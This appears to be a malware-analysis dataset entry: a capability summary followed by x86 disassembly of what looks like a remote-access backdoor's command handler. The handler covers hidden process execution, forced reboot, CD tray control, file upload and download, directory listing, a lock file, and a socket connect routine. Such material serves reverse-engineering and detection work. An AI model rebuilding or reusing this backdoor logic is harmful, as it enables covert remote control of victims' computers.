Function at 0x4064a0
Capabilities:
Check if file exists
Create process on windows
Delete file

Disassembly:
push ebp
mov eax, 0x41f030
mov ebp, esp
push edi
mov ecx, 0x422ebc
mov edi, 0x407331
push esi
lea esi, [ebp - 0x18]
push ebx
sub esp, 0x65c
lea ebx, [ebp - 0x5ac]
mov dword [ebp - 0x594], eax
mov dword [ebp - 0x590], ecx
mov dword [ebp - 0x58c], esi
xor esi, esi
mov dword [ebp - 0x588], edi
xor edi, edi
mov dword [ebp - 0x584], esp
mov dword [esp], ebx
lea ebx, [ebp - 0x5b0]
call fcn.00421aa0
xor edx, edx
lea ecx, [ebp - 0x118]
mov eax, 0x100
mov dword [ebp - 0x5b0], edx
mov dword [esp + 0x14], eax
mov eax, 0xffffffff
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], esi
lea esi, [ebp - 0x118]
mov dword [esp + 8], edi
mov edi, str.exec_show
mov dword [esp + 4], ebx
mov edx, dword [ebp + 8]
mov ebx, 0xa
mov dword [esp], edx
mov dword [ebp - 0x5a8], eax
call fcn.004087b0
cld
mov ecx, ebx
repe cmpsb byte [esi], byte es:[edi]
je 0x4067f6
cld
mov edi, str.exec_hide
lea esi, [ebp - 0x118]
mov ecx, ebx
repe cmpsb byte [esi], byte es:[edi]
je 0x4066f0
cld
mov edi, str.reboot
lea esi, [ebp - 0x118]
mov ecx, 7
repe cmpsb byte [esi], byte es:[edi]
je 0x4069f1
cld
mov edi, str.msgbox
lea esi, [ebp - 0x118]
mov ecx, 7
repe cmpsb byte [esi], byte es:[edi]
je 0x406a73
cld
mov edi, str.tray_open
lea esi, [ebp - 0x118]
mov ecx, ebx
repe cmpsb byte [esi], byte es:[edi]
je 0x4068f1
cld
mov ecx, 0xb
lea esi, [ebp - 0x118]
mov edi, str.tray_close
repe cmpsb byte [esi], byte es:[edi]
je 0x406b7b
cld
mov ecx, 3
lea esi, [ebp - 0x118]
mov edi, 0x4248b7
repe cmpsb byte [esi], byte es:[edi]
je 0x406d60
cld
mov edi, str.upload
lea esi, [ebp - 0x118]
mov ecx, 7
repe cmpsb byte [esi], byte es:[edi]
je 0x40701a
cld
mov ecx, 9
lea esi, [ebp - 0x118]
mov edi, str.download
repe cmpsb byte [esi], byte es:[edi]
je 0x406c48
cld
mov ecx, 0x12
lea esi, [ebp - 0x118]
mov edi, str.lock_distribution
repe cmpsb byte [esi], byte es:[edi]
je 0x4073c1
cld
mov ecx, 0x14
lea esi, [ebp - 0x118]
mov edi, str.unlock_distribution
repe cmpsb byte [esi], byte es:[edi]
je 0x407453
cld
mov ecx, 5
lea esi, [ebp - 0x118]
mov edi, str.stop
repe cmpsb byte [esi], byte es:[edi]
seta bl
setb al
lea esi, [ebp - 0x118]
cmp bl, al
mov ecx, esi
je 0x407539
lea esi, [esi]
mov eax, dword [ecx]
add ecx, 4
lea edx, [eax - 0x1010101]
not eax
and edx, eax
mov eax, edx
and eax, 0x80808080
je 0x406670
and edx, 0x8080
jne 0x406696
shr eax, 0x10
add ecx, 2
add al, al
mov edi, str.UNKNOWN_COMMAND_____s_
sbb ecx, 3
sub ecx, esi
lea edx, [ecx + 0x20]
mov dword [esp], edx
mov ecx, 0xffffffff
lea esi, [ebp - 0x118]
mov dword [ebp - 0x5a8], ecx
call fcn.0041f830
mov dword [ebp - 0x604], eax
mov dword [esp + 8], esi
mov dword [esp + 4], edi
mov ebx, dword [ebp - 0x604]
mov dword [esp], ebx
call sub.msvcrt.dll_sprintf
mov edx, dword [ebp - 0x604]
mov dword [ebp - 0x5b4], edx
jmp 0x4068d5
mov dword [esp], 0x20
mov esi, 0xffffffff
lea ebx, [ebp - 0x318]
mov dword [ebp - 0x5a8], esi
lea edi, [ebp - 0x5b0]
mov esi, 0x100
call fcn.0041f830
mov dword [ebp - 0x5bc], eax
mov edx, 0x22
mov ecx, 0x22
mov dword [esp + 0x10], ebx
mov eax, 0x100
mov ebx, 0x22
mov dword [esp + 0xc], edx
mov dword [esp + 8], ecx
mov dword [esp + 0x14], eax
mov dword [esp + 4], edi
mov edi, dword [ebp + 8]
mov dword [esp], edi
call fcn.004087b0
mov dword [esp + 0x14], esi
mov edx, 0x22
lea ecx, [ebp - 0x5b0]
mov dword [esp + 0xc], ebx
lea eax, [ebp - 0x218]
xor esi, esi
mov dword [esp + 8], edx
lea ebx, [ebp - 0x318]
mov dword [esp], edi
xor edi, edi
mov dword [esp + 0x10], eax
mov dword [esp + 4], ecx
call fcn.004087b0
mov dword [esp + 0x14], esi
lea eax, [ebp - 0x218]
mov edx, str.open
mov dword [esp + 0x10], edi
mov dword [esp + 0xc], eax
mov dword [esp + 8], ebx
mov dword [esp + 4], edx
mov dword [esp], 0
call sub.SHELL32.DLL_ShellExecuteA
sub esp, 0x18
cmp eax, 2
je 0x4069c8
mov edi, dword [ebp - 0x5bc]
mov word [edi], 0x4b4f
mov byte [edi + 2], 0
mov eax, dword [ebp - 0x5bc]
mov dword [ebp - 0x5b4], eax
lea eax, [ebp - 0x5ac]
mov dword [esp], eax
call fcn.00421b80
mov eax, dword [ebp - 0x5b4]
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp], 0x20
mov edi, 0x22
mov esi, 0x100
call fcn.0041f830
mov dword [ebp - 0x5b8], eax
mov edx, 0x22
lea ebx, [ebp - 0x218]
mov dword [esp + 8], edi
lea edi, [ebp - 0x5b0]
mov dword [esp + 0x14], esi
lea esi, [ebp - 0x318]
mov dword [esp + 0x10], ebx
mov ebx, 0x22
mov dword [esp + 0xc], edx
mov dword [esp + 4], edi
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.004087b0
mov dword [esp + 0x10], esi
mov ecx, 0x100
mov edx, 0x22
mov dword [esp + 0x14], ecx
xor esi, esi
mov dword [esp + 0xc], ebx
lea ebx, [ebp - 0x218]
mov dword [esp + 8], edx
mov dword [esp + 4], edi
mov eax, dword [ebp + 8]
lea edi, [ebp - 0x318]
mov dword [esp], eax
call fcn.004087b0
mov dword [esp + 0x10], esi
mov ecx, 5
mov edx, str.open
mov dword [esp + 0x14], ecx
mov dword [esp + 0xc], edi
mov dword [esp + 8], ebx
mov dword [esp + 4], edx
mov dword [esp], 0
call sub.SHELL32.DLL_ShellExecuteA
sub esp, 0x18
cmp eax, 2
je 0x406b52
mov ecx, dword [ebp - 0x5b8]
mov word [ecx], 0x4b4f
mov byte [ecx + 2], 0
mov edi, dword [ebp - 0x5b8]
mov dword [ebp - 0x5b4], edi
lea eax, [ebp - 0x5ac]
mov dword [esp], eax
call fcn.00421b80
mov eax, dword [ebp - 0x5b4]
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
mov edx, str.CDAudio
lea ecx, [ebp - 0x338]
mov esi, 0x2000
mov dword [ebp - 0x330], edx
mov edi, 0x803
mov eax, 0xffffffff
mov dword [esp + 0xc], ecx
lea ebx, [ebp - 0x348]
mov dword [esp + 8], esi
mov dword [esp + 4], edi
lea edi, [ebp - 0x348]
mov dword [esp], 0
mov dword [ebp - 0x5a8], eax
call sub.WINMM.DLL_mciSendCommandA
mov esi, dword [ebp - 0x334]
sub esp, 0x10
mov ecx, 0x80d
mov edx, 0x100
mov dword [ebp - 0x5c0], esi
mov dword [esp + 4], ecx
mov dword [esp + 0xc], ebx
mov ebx, 0x804
mov dword [esp + 8], edx
mov dword [esp], esi
call sub.WINMM.DLL_mciSendCommandA
sub esp, 0x10
mov eax, 1
mov dword [esp + 0xc], edi
mov dword [esp + 8], eax
mov dword [esp + 4], ebx
mov edx, dword [ebp - 0x5c0]
mov dword [esp], edx
call sub.WINMM.DLL_mciSendCommandA
sub esp, 0x10
mov dword [esp], 0x20
call fcn.0041f830
mov dword [eax], 0x442f4443
mov dword [eax + 4], 0x54204456
mov dword [eax + 8], 0x20594152
mov dword [eax + 0xc], 0x4e45504f
mov word [eax + 0x10], 0x4445
mov byte [eax + 0x12], 0
jmp 0x4067d4
mov ecx, dword [ebp - 0x5bc]
mov dword [ecx], 0x454c4946
mov dword [ecx + 4], 0x544f4e20
mov dword [ecx + 8], 0x554f4620
mov word [ecx + 0xc], 0x444e
mov byte [ecx + 0xe], 0
jmp 0x4067ce
mov dword [esp], 0
xor ecx, ecx
mov edx, 0xffffffff
mov dword [esp + 0x14], ecx
mov eax, str.shutdown
xor esi, esi
mov dword [esp + 0x10], esi
mov edi, str._r__t_0
mov ebx, str.open
mov dword [esp + 0xc], edi
mov dword [esp + 8], eax
mov dword [esp + 4], ebx
mov dword [ebp - 0x5a8], edx
call sub.SHELL32.DLL_ShellExecuteA
sub esp, 0x18
mov dword [esp], 0x20
call fcn.0041f830
mov dword [eax], 0x54535953
mov dword [eax + 4], 0x47204d45
mov dword [eax + 8], 0x474e494f
mov dword [eax + 0xc], 0x524f4620
mov dword [eax + 0x10], 0x42455220
mov dword [eax + 0x14], 0x20544f4f
mov dword [eax + 0x18], 0x574f4e
jmp 0x4067d4
mov edx, 0x22
mov ecx, 0x22
mov eax, 0x100
mov dword [esp + 0xc], edx
lea ebx, [ebp - 0x318]
mov esi, 0xffffffff
mov dword [esp + 0x10], ebx
lea edi, [ebp - 0x5b0]
lea ebx, [ebp - 0x218]
mov dword [esp + 8], ecx
mov dword [esp + 0x14], eax
mov dword [esp + 4], edi
mov edi, dword [ebp + 8]
mov dword [esp], edi
mov dword [ebp - 0x5a8], esi
lea esi, [ebp - 0x5b0]
call fcn.004087b0
mov dword [esp + 0x10], ebx
mov ecx, 0x22
mov edx, 0x22
mov dword [esp + 0xc], edx
mov eax, 0x100
lea ebx, [ebp - 0x218]
mov dword [esp + 8], ecx
mov dword [esp + 0x14], eax
mov dword [esp + 4], esi
mov dword [esp], edi
call fcn.004087b0
mov dword [esp + 8], ebx
lea edx, [ebp - 0x318]
mov eax, 0x40
mov dword [esp + 4], edx
mov dword [esp + 0xc], eax
mov dword [esp], 0
call sub.USER32.dll_MessageBoxA
sub esp, 0x10
mov dword [esp], 0x20
call fcn.0041f830
mov dword [eax], 0x5353454d
mov dword [eax + 4], 0x42454741
mov dword [eax + 8], 0x4420584f
mov dword [eax + 0xc], 0x4c505349
mov dword [eax + 0x10], 0x44455941
mov byte [eax + 0x14], 0
jmp 0x4067d4
mov eax, dword [ebp - 0x5b8]
mov dword [eax], 0x454c4946
mov dword [eax + 4], 0x544f4e20
mov dword [eax + 8], 0x554f4620
mov word [eax + 0xc], 0x444e
mov byte [eax + 0xe], 0
jmp 0x4068c9
mov edx, 0xffffffff
lea ecx, [ebp - 0x338]
mov ebx, str.CDAudio
mov dword [ebp - 0x330], ebx
mov esi, 0x2000
mov edi, 0x803
mov dword [esp + 0xc], ecx
mov ebx, 0x200
mov dword [esp + 8], esi
mov dword [esp + 4], edi
lea edi, [ebp - 0x348]
mov dword [esp], 0
mov dword [ebp - 0x5a8], edx
call sub.WINMM.DLL_mciSendCommandA
mov esi, dword [ebp - 0x334]
sub esp, 0x10
mov ecx, 0x80d
lea eax, [ebp - 0x348]
mov dword [ebp - 0x5c4], esi
mov dword [esp + 4], ecx
mov dword [esp + 8], ebx
mov dword [esp + 0xc], eax
mov dword [esp], esi
call sub.WINMM.DLL_mciSendCommandA
sub esp, 0x10
mov edx, 1
mov eax, 0x804
mov dword [esp + 8], edx
mov dword [esp + 0xc], edi
mov dword [esp + 4], eax
mov ebx, dword [ebp - 0x5c4]
mov dword [esp], ebx
call sub.WINMM.DLL_mciSendCommandA
sub esp, 0x10
mov dword [esp], 0x20
call fcn.0041f830
mov dword [eax], 0x442f4443
mov dword [eax + 4], 0x54204456
mov dword [eax + 8], 0x20594152
mov dword [eax + 0xc], 0x534f4c43
jmp 0x4069b9
mov dword [esp], 0x20
mov ebx, 0xffffffff
mov esi, 0x22
mov dword [ebp - 0x5a8], ebx
lea edi, [ebp - 0x5b0]
mov ebx, 0x100
call fcn.0041f830
mov dword [ebp - 0x5f8], eax
lea ecx, [ebp - 0x318]
mov edx, 0x22
mov dword [esp + 0x10], ecx
mov eax, 0x100
mov dword [esp + 0xc], esi
mov esi, 0x22
mov dword [esp + 8], edx
mov dword [esp + 0x14], eax
mov dword [esp + 4], edi
mov edi, dword [ebp + 8]
mov dword [esp], edi
call fcn.004087b0
mov dword [esp + 0x14], ebx
mov ecx, 0x22
lea edx, [ebp - 0x5b0]
mov dword [esp + 0xc], ecx
lea eax, [ebp - 0x218]
mov ebx, 0x100
mov dword [esp + 8], esi
lea esi, [ebp - 0x5b0]
mov dword [esp + 4], edx
mov dword [esp], edi
lea edi, [ebp - 0x578]
mov dword [esp + 0x10], eax
call fcn.004087b0
mov dword [esp + 0x14], ebx
mov ecx, 0x22
mov eax, 0x22
mov dword [esp + 8], ecx
lea ebx, [ebp - 0x218]
mov dword [esp + 0x10], edi
mov dword [esp + 0xc], eax
mov dword [esp + 4], esi
mov edx, dword [ebp + 8]
mov dword [esp], edx
call fcn.004087b0
mov dword [esp + 8], edi
lea eax, [ebp - 0x318]
mov dword [esp + 4], ebx
mov dword [esp], eax
call fcn.00403a80
test al, al
je 0x40742d
mov edi, dword [ebp - 0x5f8]
mov dword [edi], 0x454c4946
mov dword [edi + 4], 0x574f4420
mov dword [edi + 8], 0x414f4c4e
mov dword [edi + 0xc], 0x444544
mov edx, dword [ebp - 0x5f8]
jmp 0x4066e0
lea ecx, [ebp - 0x318]
mov eax, 0x100
lea ebx, [ebp - 0x5b0]
mov dword [esp + 0x14], eax
mov esi, 0x22
mov edi, 0x22
mov dword [esp + 0x10], ecx
mov eax, 0xffffffff
mov dword [esp + 4], ebx
lea ebx, [ebp - 0x318]
mov dword [esp + 0xc], esi
mov dword [esp + 8], edi
mov edx, dword [ebp + 8]
mov dword [esp], edx
mov dword [ebp - 0x5a8], eax
call fcn.004087b0
mov ecx, ebx
lea esi, [esi]
mov edi, dword [ecx]
add ecx, 4
lea edx, [edi - 0x1010101]
not edi
and edx, edi
mov eax, edx
and eax, 0x80808080
je 0x406db0
and edx, 0x8080
jne 0x406dd6
shr eax, 0x10
add ecx, 2
add al, al
sbb ecx, 3
sub ecx, ebx
cmp byte [ecx + ebp - 0x319], 0x5c
je 0x406e02
lea ebx, [ebp - 0x318]
mov dword [esp], ebx
call sub.msvcrt.dll_strlen
mov edx, 0x5c
mov word [eax + ebp - 0x318], dx
lea eax, [ebp - 0x318]
mov ecx, 0xffffffff
mov dword [esp], eax
mov esi, dword [sym.imp.SHLWAPI.DLL_PathFileExistsA]
mov dword [ebp - 0x5a8], ecx
call esi
sub esp, 4
test eax, eax
je 0x4072f5
mov dword [ebp - 0x5cc], esp
lea ebx, [ebp - 0x358]
mov esi, str.Listing_of__s:_n_n
mov dword [esp], ebx
mov edi, 1
call fcn.004086c0
mov dword [esp + 4], esi
mov ecx, 0x10
mov dword [esp + 8], ecx
mov dword [esp], ebx
mov dword [ebp - 0x5a8], edi
call fcn.00408730
lea ebx, [ebp - 0x318]
mov ecx, ebx
mov eax, dword [ecx]
add ecx, 4
lea edx, [eax - 0x1010101]
not eax
and edx, eax
mov eax, edx
and eax, 0x80808080
je 0x406e6a
and edx, 0x8080
jne 0x406e90
shr eax, 0x10
add ecx, 2
add al, al
sbb ecx, 3
sub ecx, ebx
lea eax, [ecx + 0x26]
and eax, 0xfffffff0
call fcn.00421960
lea edx, [esp + 0x27]
mov ebx, 0x42493b
and edx, 0xfffffff0
mov dword [ebp - 0x5d0], edx
lea esi, [ebp - 0x318]
mov edi, 1
mov dword [esp + 8], esi
mov dword [esp + 4], ebx
mov dword [esp], edx
mov dword [ebp - 0x5a8], edi
call sub.msvcrt.dll_sprintf
lea edi, [ebp - 0x478]
mov dword [esp + 4], edi
mov ecx, dword [ebp - 0x5d0]
mov dword [esp], ecx
call sub.msvcrt.dll__findfirst
mov dword [ebp - 0x5d4], eax
test eax, eax
je 0x406fb0
lea ebx, [ebp - 0x464]
mov ecx, ebx
mov esi, dword [ecx]
add ecx, 4
lea edx, [esi - 0x1010101]
not esi
and edx, esi
mov eax, edx
and eax, 0x80808080
je 0x406f03
and edx, 0x8080
jne 0x406f29
shr eax, 0x10
add ecx, 2
add al, al
mov edx, 1
lea eax, [ebp - 0x464]
sbb ecx, 3
sub ecx, ebx
lea ebx, [ebp - 0x358]
mov dword [esp + 8], ecx
mov dword [esp + 4], eax
mov dword [esp], ebx
mov dword [ebp - 0x5a8], edx
call fcn.00408730
mov esi, 1
mov edi, 0x424941
lea ecx, [ebp - 0x358]
mov dword [esp + 8], esi
mov dword [esp + 4], edi
mov dword [esp], ecx
call fcn.00408730
lea ebx, [ebp - 0x478]
mov dword [esp + 4], ebx
mov edx, dword [ebp - 0x5d4]
mov dword [esp], edx
call sub.msvcrt.dll__findnext
test eax, eax
je 0x406efb
mov ecx, dword [ebp - 0x5d4]
mov eax, 1
mov dword [esp], ecx
mov dword [ebp - 0x5a8], eax
call sub.msvcrt.dll__findclose
mov esi, dword [ebp - 0x358]
mov edi, 1
mov dword [esp], esi
call sub.msvcrt.dll_strlen
inc eax
mov dword [esp], eax
mov dword [ebp - 0x5a8], edi
call fcn.0041f830
mov dword [ebp - 0x5c8], eax
mov ebx, dword [ebp - 0x358]
mov dword [esp + 4], ebx
mov edx, dword [ebp - 0x5c8]
mov dword [esp], edx
call sub.msvcrt.dll_strcpy
lea eax, [ebp - 0x358]
mov ebx, 0xffffffff
mov dword [esp], eax
mov dword [ebp - 0x5a8], ebx
call fcn.00408710
mov esp, dword [ebp - 0x5cc]
mov eax, dword [ebp - 0x5c8]
jmp 0x4067d4
mov dword [ebp - 0x5e0], esp
lea ecx, [ebp - 0x318]
mov edx, 0x100
mov dword [esp + 0x10], ecx
mov esi, 0x22
lea eax, [ebp - 0x5b0]
mov dword [esp + 0x14], edx
mov edi, 0x22
mov edx, 0xffffffff
mov dword [esp + 0xc], esi
lea esi, [ebp - 0x318]
mov dword [esp + 8], edi
mov dword [esp + 4], eax
mov ebx, dword [ebp + 8]
mov dword [esp], ebx
mov dword [ebp - 0x5a8], edx
call fcn.004087b0
call fcn.00404810
mov dword [ebp - 0x5dc], eax
mov dword [esp], 0x30
call fcn.00407a40
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov dword [ebp - 0x5e4], eax
call fcn.004081d0
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov ebx, dword [ebp - 0x5e4]
mov ecx, esi
add ebx, eax
mov esi, esi
lea edi, [edi]
mov eax, dword [ecx]
add ecx, 4
lea edx, [eax - 0x1010101]
not eax
and edx, eax
mov eax, edx
and eax, 0x80808080
je 0x4070b0
and edx, 0x8080
jne 0x4070d6
shr eax, 0x10
add ecx, 2
add al, al
sbb ecx, 3
sub ecx, esi
lea eax, [ebx + ecx + 0x9e]
and eax, 0xfffffff0
call fcn.00421960
lea ecx, [esp + 0x27]
mov edi, 0xffffffff
and ecx, 0xfffffff0
mov dword [ebp - 0x5e8], ecx
lea esi, [ebp - 0x318]
mov dword [esp], esi
mov ebx, dword [sym.imp.SHLWAPI.DLL_PathFileExistsA]
mov dword [ebp - 0x5a8], edi
call ebx
sub esp, 4
test eax, eax
je 0x40736f
lea ebx, [ebp - 0x318]
mov ecx, ebx
nop
lea esi, [esi]
mov edi, dword [ecx]
add ecx, 4
lea edx, [edi - 0x1010101]
not edi
and edx, edi
mov eax, edx
and eax, 0x80808080
je 0x407130
and edx, 0x8080
jne 0x407156
shr eax, 0x10
add ecx, 2
add al, al
sbb ecx, 3
sub ecx, ebx
lea eax, [ecx + 0x1f]
and eax, 0xfffffff0
call fcn.00421960
lea edx, [esp + 0x27]
and edx, 0xfffffff0
lea ebx, [ebp - 0x318]
mov dword [ebp - 0x5ec], edx
mov ecx, ebx
lea esi, [esi]
mov esi, dword [ecx]
add ecx, 4
lea edx, [esi - 0x1010101]
not esi
and edx, esi
mov eax, edx
and eax, 0x80808080
je 0x407180
and edx, 0x8080
jne 0x4071a6
shr eax, 0x10
add ecx, 2
add al, al
sbb ecx, 3
sub ecx, ebx
lea eax, [ecx + 0x1f]
and eax, 0xfffffff0
call fcn.00421960
lea esi, [esp + 0x27]
xor ecx, ecx
and esi, 0xfffffff0
mov dword [ebp - 0x5f0], esi
xor edi, edi
lea ebx, [ebp - 0x318]
mov dword [esp + 0x10], esi
mov eax, 0xffffffff
mov edx, dword [ebp - 0x5ec]
mov dword [esp + 4], ecx
mov dword [esp + 8], edi
mov dword [esp + 0xc], edx
mov dword [esp], ebx
mov dword [ebp - 0x5a8], eax
call sub.msvcrt.dll__splitpath
call fcn.004081d0
mov dword [ebp - 0x5f4], eax
mov dword [esp], 0x30
call fcn.00407a40
mov esi, dword [ebp - 0x5f0]
mov ecx, 0x424943
mov dword [esp + 0x14], esi
mov edx, dword [ebp - 0x5ec]
mov dword [esp + 0x10], edx
mov edi, dword [ebp - 0x5f4]
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp + 0xc], edi
mov ebx, dword [ebp - 0x5e8]
mov dword [esp], ebx
call sub.msvcrt.dll_sprintf
jmp 0x40726a
mov dword [esp], 0x7530
mov ebx, 0xffffffff
mov dword [ebp - 0x5a8], ebx
call sub.KERNEL32.dll_Sleep
sub esp, 4
mov eax, 0x424958
mov edx, 0x424971
lea esi, [ebp - 0x318]
mov dword [esp + 0x10], eax
mov ecx, 0xffffffff
mov dword [esp + 0xc], esi
mov dword [esp + 8], edx
mov edi, dword [ebp - 0x5e8]
mov dword [esp + 4], edi
mov edi, dword [ebp - 0x5dc]
mov dword [esp], edi
mov dword [ebp - 0x5a8], ecx
call fcn.00403cc0
test al, al
je 0x407250
test edi, edi
je 0x4072b9
mov dword [esp], edi
call fcn.0041f8d0
mov dword [esp], 0x20
mov ebx, 0xffffffff
mov dword [ebp - 0x5a8], ebx
call fcn.0041f830
mov dword [eax], 0x454c4946
mov dword [eax + 4], 0x4c505520
mov dword [eax + 8], 0x4544414f
mov word [eax + 0xc], 0x44
mov esp, dword [ebp - 0x5e0]
jmp 0x4067d4
mov dword [esp], 0x20
mov ecx, 0xffffffff
mov dword [ebp - 0x5a8], ecx
call fcn.0041f830
mov dword [ebp - 0x5c8], eax
mov dword [eax], 0x20524944
mov dword [eax + 4], 0x20544f4e
mov dword [eax + 8], 0x4e554f46
mov word [eax + 0xc], 0x44
jmp 0x40700f
mov ecx, dword [ebp - 0x5dc]
test ecx, ecx
je 0x407387
mov edi, dword [ebp - 0x5dc]
mov dword [esp], edi
call fcn.0041f8d0
mov dword [esp], 0x20
mov edx, 0xffffffff
mov dword [ebp - 0x5a8], edx
call fcn.0041f830
mov dword [eax], 0x454c4946
mov dword [eax + 4], 0x544f4e20
mov dword [eax + 8], 0x554f4620
mov word [eax + 0xc], 0x444e
mov byte [eax + 0xe], 0
jmp 0x4072ea
mov dword [esp], 0x20
mov eax, 0xffffffff
mov dword [ebp - 0x5a8], eax
call fcn.0041f830
mov dword [ebp - 0x5fc], eax
mov dword [esp], 0x2f
call fcn.00407a40
mov dword [esp], eax
call dword [sym.imp.SHLWAPI.DLL_PathFileExistsA]
sub esp, 4
test eax, eax
je 0x4074bc
mov esi, dword [ebp - 0x5fc]
mov dword [esi], 0x45524c41
mov dword [esi + 4], 0x20594441
mov dword [esi + 8], 0x4b434f4c
mov word [esi + 0xc], 0x4445
mov byte [esi + 0xe], 0
mov edx, dword [ebp - 0x5fc]
jmp 0x4066e0
mov edx, dword [ebp - 0x5f8]
mov dword [edx], 0x4e574f44
mov dword [edx + 4], 0x44414f4c
mov dword [edx + 8], 0x49414620
mov dword [edx + 0xc], 0x44454c
jmp 0x406d55
mov dword [esp], 0x20
mov eax, 0xffffffff
mov dword [ebp - 0x5a8], eax
call fcn.0041f830
mov dword [ebp - 0x600], eax
mov dword [esp], 0x2f
call fcn.00407a40
mov dword [esp], eax
call dword [sym.imp.SHLWAPI.DLL_PathFileExistsA]
sub esp, 4
test eax, eax
jne 0x4074f9
mov edx, dword [ebp - 0x600]
mov dword [edx], 0x45524c41
mov dword [edx + 4], 0x20594441
mov dword [edx + 8], 0x4f4c4e55
mov dword [edx + 0xc], 0x44454b43
mov byte [edx + 0x10], 0
mov edi, dword [ebp - 0x600]
jmp 0x4068cf
mov dword [esp], 0x2f
mov ebx, 0x42497d
call fcn.00407a40
mov dword [esp], eax
mov dword [esp + 4], ebx
call sub.msvcrt.dll_fopen
test eax, eax
je 0x40751e
mov edx, dword [ebp - 0x5fc]
mov word [edx], 0x4b4f
mov byte [edx + 2], 0
mov dword [esp], eax
call sub.msvcrt.dll_fclose
jmp 0x407422
mov dword [esp], 0x2f
call fcn.00407a40
mov dword [esp], eax
call sub.msvcrt.dll_remove
mov ebx, dword [ebp - 0x600]
mov word [ebx], 0x4b4f
mov byte [ebx + 2], 0
jmp 0x4074b1
mov edi, dword [ebp - 0x5fc]
mov dword [edi], 0x4c494146
mov word [edi + 4], 0x4445
mov byte [edi + 6], 0
jmp 0x407422
mov dword [esp], 0
mov edx, 0xffffffff
mov dword [ebp - 0x5a8], edx
call sub.msvcrt.dll_exit
push ebp
mov ebp, esp
push ebx
sub esp, 0x14
mov ebx, dword [ebp + 8]
mov dword [esp], 0x101
mov dword [esp + 4], ebx
call sub.WSOCK32.DLL_WSAStartup
sub esp, 8
test eax, eax
js 0x4075b0
mov dword [esp], 2
xor eax, eax
mov ecx, 1
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
call sub.WSOCK32.DLL_socket
mov dword [ebx + 0x190], eax
sub esp, 0xc
inc eax
je 0x4075b0
mov edx, dword [ebp + 0xc]
mov dword [esp], edx
call sub.WSOCK32.DLL_gethostbyname
mov dword [ebx + 0x1a4], eax
sub esp, 4
test eax, eax
jne 0x4075b5
mov ebx, dword [ebp - 4]
leave
ret
mov ecx, dword [eax + 0xc]
mov edx, 2
mov word [ebx + 0x194], dx
mov edx, dword [ecx]
movzx ecx, word [ebp + 0x10]
mov eax, dword [edx]
mov dword [ebx + 0x198], eax
mov dword [esp], ecx
call sub.WSOCK32.DLL_htons
mov word [ebx + 0x196], ax
sub esp, 4
lea eax, [ebx + 0x194]
mov dword [esp + 4], eax
mov edx, 0x10
mov dword [esp + 8], edx
mov ecx, dword [ebx + 0x190]
mov dword [esp], ecx
call sub.WSOCK32.DLL_connect
sub esp, 0xc
mov ebx, dword [ebp - 4]
leave
ret